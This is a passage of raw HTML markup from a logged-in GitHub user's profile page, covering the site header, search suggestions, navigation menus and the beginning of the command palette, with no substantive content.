p-2" href="" data-item-type="suggestion"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="color-fg-muted">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav id="global-nav" class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" data-turbo="false" href="/dashboard">Dashboard</a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-turbo="false" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull<span class="d-inline d-md-none d-lg-inline"> request</span>s </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-turbo="false" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues">Issues</a> <div class="d-flex position-relative"> <a class="js-selected-navigation-item Header-link flex-auto mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-turbo="false" data-selected-links=" /marketplace" href="/marketplace">Marketplace</a> </div> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:explore" data-turbo="false" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore">Explore</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:workspaces context:user" data-turbo="false" data-selected-links="/codespaces /codespaces" href="/codespaces">Codespaces</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:Sponsors" data-hydro-click="{"event_type":"sponsors.button_click","payload":{"button":"HEADER_SPONSORS_DASHBOARD","sponsorable_login":"chikitang","originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="894b353f92ef9cf99df582a68ce68afedb950c23eac562794d264b04c4d7d514" data-turbo="false" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/settings/profile">Settings</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/chikitang"> <img class="avatar avatar-user" loading="lazy" decoding="async" src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" width="20" height="20" alt="@chikitang" /> chikitang </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-turbo="false" action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="7Jd6yI5THWDg_FkIJV1Ds7qiCFaoX_Hvj-TdaYW6DwuhdateNViXxoS146e9dSd4uNbU3k2j7jqyorRzKNOZEQ" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade d-md-none btn-link d-block width-full text-left" style="padding-left: 2px;" data-analytics-event="{"category":"Header","action":"sign out","label":"icon:logout"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-sign-out v-align-middle"> <path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path> </svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{"category":"Header","action":"go to dashboard","label":"icon:logo"}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6MTA3MDkzMjg1IiwidCI6MTY1NDY2MTY3M30=--d1a31430da7c3a208906377c76b5480a6b4db38284d899049601dbe9bf1e1be6"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path> </svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset"> <summary class="Header-link" aria-label="Create new…" data-analytics-event="{"category":"Header","action":"create new","label":"icon:add"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus"> <path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path> </svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/users/chikitang/projects/new?type=beta" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/chikitang/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-analytics-event="{"category":"Header","action":"show menu","label":"icon:avatar"}" > <img src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" alt="@chikitang" size="20" height="20" width="20" data-view-component="true" class="avatar avatar-small circle" /> <span class="unread-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" preload> <include-fragment src="/users/107093285/menu" loading="lazy"> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-fg-default" data-show-on-error> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <details class="details-reset details-overlay details-overlay-dark js-command-palette-dialog" data-pjax-replace id="command-palette-pjax-container" > <summary aria-label="command palette trigger"> </summary> <details-dialog class="command-palette-details-dialog d-flex flex-column flex-justify-center height-fit" aria-label="command palette"> <command-palette class="command-palette color-bg-default rounded-3 border color-shadow-small" data-return-to=/chikitang?tab=repositories data-user-id="107093285" data-activation-hotkey="Mod+k,Mod+Alt+k" data-command-mode-hotkey="Mod+Shift+k" data-action=" command-palette-page-stack-updated:command-palette#updateInputScope itemsUpdated:command-palette#itemsUpdated keydown:command-palette#onKeydown loadingStateChanged:command-palette#loadingStateChanged selectedItemChanged:command-palette#selectedItemChanged pageFetchError:command-palette#pageFetchError "> <command-palette-mode data-char="#" data-scope-types="[""]" data-placeholder="Search issues and pull requests" ></command-palette-mode> <command-palette-mode data-char="#" data-scope-types="["owner","repository"]" data-placeholder="Search issues, pull requests, discussions, and projects" ></command-palette-mode> <command-palette-mode data-char="!" data-scope-types="["owner","repository"]" data-placeholder="Search projects" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[""]" data-placeholder="Search or jump to a user, organization, or repository" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="["owner"]" data-placeholder="Search or jump to a repository" ></command-palette-mode> <command-palette-mode data-char="/" data-scope-types="["repository"]" data-placeholder="Search files" ></command-palette-mode> <command-palette-mode data-char="?" ></command-palette-mode> <command-palette-mode data-char=">" data-placeholder="Run a command" ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[""]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="["owner"]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode class="js-command-palette-default-mode" data-char="" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-input placeholder="Search or jump to..." data-action=" command-palette-input:command-palette#onInput command-palette-select:command-palette#onSelect command-palette-descope:command-palette#onDescope command-palette-cleared:command-palette#onInputClear " > <div class="js-search-icon d-flex flex-items-center mr-2" style="height: 26px"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search color-fg-muted"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <div class="js-spinner d-flex flex-items-center mr-2 color-fg-muted" hidden> <svg aria-label="Loading" class="anim-rotate" viewBox="0 0 16 16" fill="none" width="16" height="16"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" ></circle> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" ></path> </svg> </div> <command-palette-scope > <div data-target="command-palette-scope.placeholder" hidden class="color-fg-subtle">/ <span class="text-semibold color-fg-default">...</span> / </div> <command-palette-token data-text="chikitang" data-id="U_kgDOBmIdJQ" data-type="owner" data-value="chikitang" data-targets="command-palette-scope.tokens" class="color-fg-default text-semibold" style="white-space:nowrap;line-height:20px;" >chikitang<span class="color-fg-subtle text-normal"> / </span></command-palette-token> </command-palette-scope> <div class="command-palette-input-group flex-1 form-control border-0 box-shadow-none" style="z-index: 0"> <div class="command-palette-typeahead position-absolute d-flex flex-items-center Truncate"> <span class="typeahead-segment input-mirror" data-target="command-palette-input.mirror"></span> <span class="Truncate-text" data-target="command-palette-input.typeaheadText"></span> <span class="typeahead-segment" data-target="command-palette-input.typeaheadPlaceholder"></span> </div> <input class="js-overlay-input typeahead-input d-none" disabled tabindex="-1" aria-label="Hidden input for typeahead" > <input type="text" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" class="js-input typeahead-input form-control border-0 box-shadow-none input-block width-full no-focus-indicator" aria-label="Command palette input" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="command-palette-page-stack" role="combobox" data-action=" input:command-palette-input#onInput keydown:command-palette-input#onKeydown " > </div> <button aria-label="clear command palette" aria-keyshortcuts="Control+Backspace" data-action="click:command-palette-input#onClear keypress:command-palette-input#onClear" data-target="command-palette-input.clearButton" id="command-palette-clear-button" hidden="hidden" type="button" data-view-component="true" class="btn-octicon command-palette-input-clear-button"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill"> <path fill-rule="evenodd" d="M2.343 13.657A8 8 0 1113.657 2.343 8 8 0 012.343 13.657zM6.03 4.97a.75.75 0 00-1.06 1.06L6.94 8 4.97 9.97a.75.75 0 